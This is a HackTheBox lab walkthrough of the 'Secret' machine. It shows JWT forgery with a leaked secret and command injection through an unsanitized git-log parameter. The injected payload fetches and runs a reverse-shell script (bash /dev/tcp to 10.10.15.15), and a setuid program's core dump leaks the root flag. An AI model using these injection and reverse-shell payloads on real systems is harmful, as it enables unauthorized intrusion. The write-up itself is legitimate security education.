Secret from HackTheBox — Detailed Walkthrough
Showing all the tools and techniques needed to complete the box.
Machine Information
Secret is rated as an easy machine on HackTheBox. We start with a backup found on the website running on the box. In there we find a number of interesting files, which leads us to interacting with an API. Eventually we create a JSON Web Token and can perform remote code execution, which we use to get a reverse shell. Escalation to root involves further code review, this time of a c program found on the box. From that we find crashing the program allows us to see the contents of memory via a core-dump. And in there we can retrieve the root flag.
Skills required are a basic understanding of Java code. Skills learned are manipulating JSON Web Tokens and inspecting core-dumps for sensitive information.
Initial Recon
As always let’s start with Nmap:
Only three open ports, interestingly two of them are nginx. Let’s add the box IP to hosts file first:
┌──(root💀kali)-[~/htb/secret]
└─# echo "10.10.11.120 secret.htb" >> /etc/hosts
Website
Now have a look at the website on port 80:
Nothing much here, just a static site about documentation. Clicking the Live Demo button takes us here:
We see an API which we will be interacting with later. Further down the main page we see a link to download the source code:
Source Code Review
Let’s grab it and have a look:
┌──(root💀kali)-[~/htb/secret]
└─# wget http://secret.htb/download/files.zip
--2021-11-18 21:35:40-- http://secret.htb/download/files.zip
Resolving secret.htb (secret.htb)... 10.10.11.120
Connecting to secret.htb (secret.htb)|10.10.11.120|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28849603 (28M) [application/zip]
Saving to: ‘files.zip’
files.zip 100%[================>] 27.51M 2.74MB/s in 9.8s
2021-11-18 21:35:50 (2.81 MB/s) - ‘files.zip’ saved [28849603/28849603]
┌──(root💀kali)-[~/htb/secret]
└─# unzip files.zip
Archive: files.zip
creating: local-web/
creating: local-web/node_modules/
creating: local-web/node_modules/get-stream/
inflating: local-web/node_modules/get-stream/buffer-stream.js
<SNIP>
┌──(root💀kali)-[~/htb/secret]
└─# cd local-web
┌──(root💀kali)-[~/htb/secret/local-web]
└─# ls -lsa
4 -rw-rw-r-- 1 root root 72 Sep 3 06:59 .env
4 drwxrwxr-x 8 root root 4096 Sep 8 19:33 .git
4 -rw-rw-r-- 1 root root 885 Sep 3 06:56 index.js
4 drwxrwxr-x 2 root root 4096 Aug 13 05:42 model
4 drwxrwxr-x 201 root root 4096 Aug 13 05:42 node_modules
4 -rw-rw-r-- 1 root root 491 Aug 13 05:42 package.json
68 -rw-rw-r-- 1 root root 69452 Aug 13 05:42 package-lock.json
4 drwxrwxr-x 4 root root 4096 Sep 3 06:54 public
4 drwxrwxr-x 2 root root 4096 Sep 3 07:32 routes
4 drwxrwxr-x 4 root root 4096 Aug 13 05:42 src
4 -rw-rw-r-- 1 root root 651 Aug 13 05:42 validations.js
In the local-web folder we see a lot of files. First one I looked at is .env:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
Not sure yet what that is for if anything but seems suspicious!
Looking at index.js we see a couple of interesting things:
There’s a file called auth used to set up the app called authRoute which looks to be an API endpoint we can connect to.
Looking at the auth.js file we see a register endpoint:
There’s also a login section which checks an account then creates a JSON Web Token (JWT) if valid:
There’s also a validation.js file which checks the registration and logins for user are valid. This is a good introduction to JWT if you need to read up some before getting too deep.
Interacting With API
With the information from the config files we now know how to try and create our own user:
Trying to register a user with just the name field returns a message to say email is required. Let’s try again and add a fake address:
That worked, we now get another message this time telling us to provide a password. Let’s try again with a password as well:
With the three required parameters provided we’ve created our user. Now we can try and login with it:
More Code Review
This worked and as we saw in the config file a JWT has been returned for our user. After another review of the source code I found private.js in the routes folder:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat routes/private.js
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
This gives us another endpoint to try called /priv. Interestingly it shows us if we have the username theadmin and provide a valid token we have the admin role, otherwise we’re a normal user.
Later in the same file we see there’s an endpoint called /logs that will allow us to pass a parameter called file that isn’t sanitised if we are theadmin user:
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
So clearly we need to find a way to get a valid JWT for the theadmin user. First let’s try sending our own users token to the /priv endpoint we’ve just found:
┌──(root💀kali)-[~/htb/secret]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoicGVuY2VyIiwiZW1haWwiOiJwZW5jZXJAdGVzdC5jb20iLCJpYXQiOjE2MzcyNzMwOTN9.iVtsUPT-D-uHBCNnTIsRRAPyvLQSI5mIEvYqn9JJzLk'
{"role":{"role":"you are normal user","desc":"pencer"}}
With this authentication token we are able to interact with the priv API but as a normal user we can’t do a lot.
JWT Tool
We can decode the JWT using JWT_Tool, let’s get it:
We pass it the JWT we received as our authenticated user:
It’s decoded the token and shows us the payloads consisting of _id, name and email.
So looking back at what we’ve found so far. We know that to progress we need to find a way to generate a token for theadmin user. To do that we need a password, we found this earlier:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
GitTools
Which doesn’t work, but one thing we didn’t look at before is what’s in the .git folder contained in that original download. Let’s extract the contents of .git using GitTools:
It took a while to extract all the files but now we can look at the commits:
We have six commits in the git repo. I searched for TOKEN_SECRET which we found before in the .env file of the main folder, and found something interesting:
Create theadmin JWT
We can use this secret and our existing user JWT we created earlier with jwt_tool to create ourselves a tampered token that works as theadmin:
Remote Code Execution
With this new token we can use the /logs API we found earlier and authenticate as theadmin. This let’s us use that unsanitized parameter we saw in the source code. Let’s try and get the passwd file:
It works and we see the contents of the passwd file. Of note is the user dasith. Let’s see which user we are on the server:
Ok so we are the dasith user, let’s look in their home folder:
User Flag
Might as well grab the user flag:
┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;cat+/home/dasith/user.txt' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
<SNIP>
c5d9aea30b9787de4c6776da13f5f57f
Reverse Shell
Now let’s get a reverse shell, we can use a simple one like this and put it in a shell file so we can execute it:
┌──(root💀kali)-[~/htb/secret]
└─# cat pencer_shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.15.15/1338 0>&1'
Start a web server so we can pull that file across, also start a netcat listener to catch our shell. Now as before send as a parameter:
┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;curl+http://10.10.15.15/pencer_shell.sh+|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;curl http://10.10.15.15/pencer_shell.sh | bash"}
We see the file pulled from our web server:
┌──(root💀kali)-[~/htb/secret]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.120 - - [18/Nov/2021 22:11:37] "GET /pencer_shell.sh HTTP/1.1" 200 -
And then we see our shell is connected:
┌──(root💀kali)-[~/htb/secret]
└─# nc -lvvp 1337
listening on [any] 1337 ...
connect to [10.10.15.15] from secret.htb [10.10.11.120] 51496
bash: cannot set terminal process group (1116): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
First let’s get a better shell:
dasith@secret:~/local-web$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dasith@secret:~/local-web$ ^Z
zsh: suspended nc -lvvp 1337
┌──(root💀kali)-[~/htb/secret]
└─# stty raw -echo; fg
[1] + continued nc -lvvp 1337
dasith@secret:~/local-web$
Enumeration
With that sorted I had a look around, eventually finding a file called count that has the sticky bit set:
dasith@secret:~/local-web$ find / -type f -perm -u=s 2>/dev/null
<SNIP>
/opt/count
We can assume that is significant. If we look in the /opt folder we also find the source code for the count file:
dasith@secret:/opt$ ls -l
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
dasith@secret:~/local-web$ file /opt/count
/opt/count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped
Let’s see what this file does:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
Path: /tmp/output.txt
It asked for a source file, I gave it the root flag and it seems to be doing a character and word count on it. Saving the file doesn’t give me the source:
dasith@secret:/opt$ ls /tmp
output.txt
snap.lxd
tmux-1000
vmware-root_730-2999460803
dasith@secret:/opt$ cat /tmp/output.txt
Total characters = 33
Total words = 2
Total lines = 2
I just get the output save to a text file.
Coredump
Next we need to look through that source code to see if we can understand what the file does. It’s a long file, but the we can see it reads the file provided in to memory, where the number of characters and words are counted. The interesting part is near the end:
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
We can see what that allows here:
PR_SET_DUMPABLE (since Linux 2.3.20)
Set the state of the "dumpable" flag, which determines whether core dumps are
produced for the calling process upon delivery of a signal whose default behavior
is to produce a core dump.
Which means the program is setting the flag to write a coredump out to a file when it’s terminated. We can take advantage of this to get the contents of memory dumped to a file while the root.txt file is held in it.
Get a second shell connected using the same curl method as above. Then in shell 1 we run the count program again and read the root flag in:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:
Crash Program
Leave it there at the save point and switch to the second shell, look at the processes running:
Kill the process for count:
dasith@secret:~/local-web$ kill 96020
kill 96020
Now unpack the coredump so we can look at it:
dasith@secret:/opt$ cd /var/crash
dasith@secret:/var/crash$ ls -l
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28006 Nov 18 21:40 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /dev/shm/pencer
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /dev/shm/pencer
dasith@secret:/var/crash$ cd /dev/shm/pencer
dasith@secret:/dev/shm/pencer$ ls
<SNIP>
CoreDump
<SNIP>
Root Flag
We can now use strings too look at the contents of the CoreDump file:
dasith@secret:/dev/shm/pencer$ strings CoreDump
strings CoreDump
<SNIP>
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Save results a file? [y/N]: words = 2
Total lines = 2
/root/root.txt
ed72112dc7721f564f49b6846a2f0e22
The output is really long but you can spot the count file output within it and see the contents of the root flag that had been read in.
I thought that was pretty tricky for an easy box. I hope you enjoyed it.
See you next time.
If you liked this article please leave me a clap or two (it’s free!)
Twitter — https://twitter.com/pencer_io
Website — https://pencer.io
Originally published at https://pencer.io on April 21, 2022.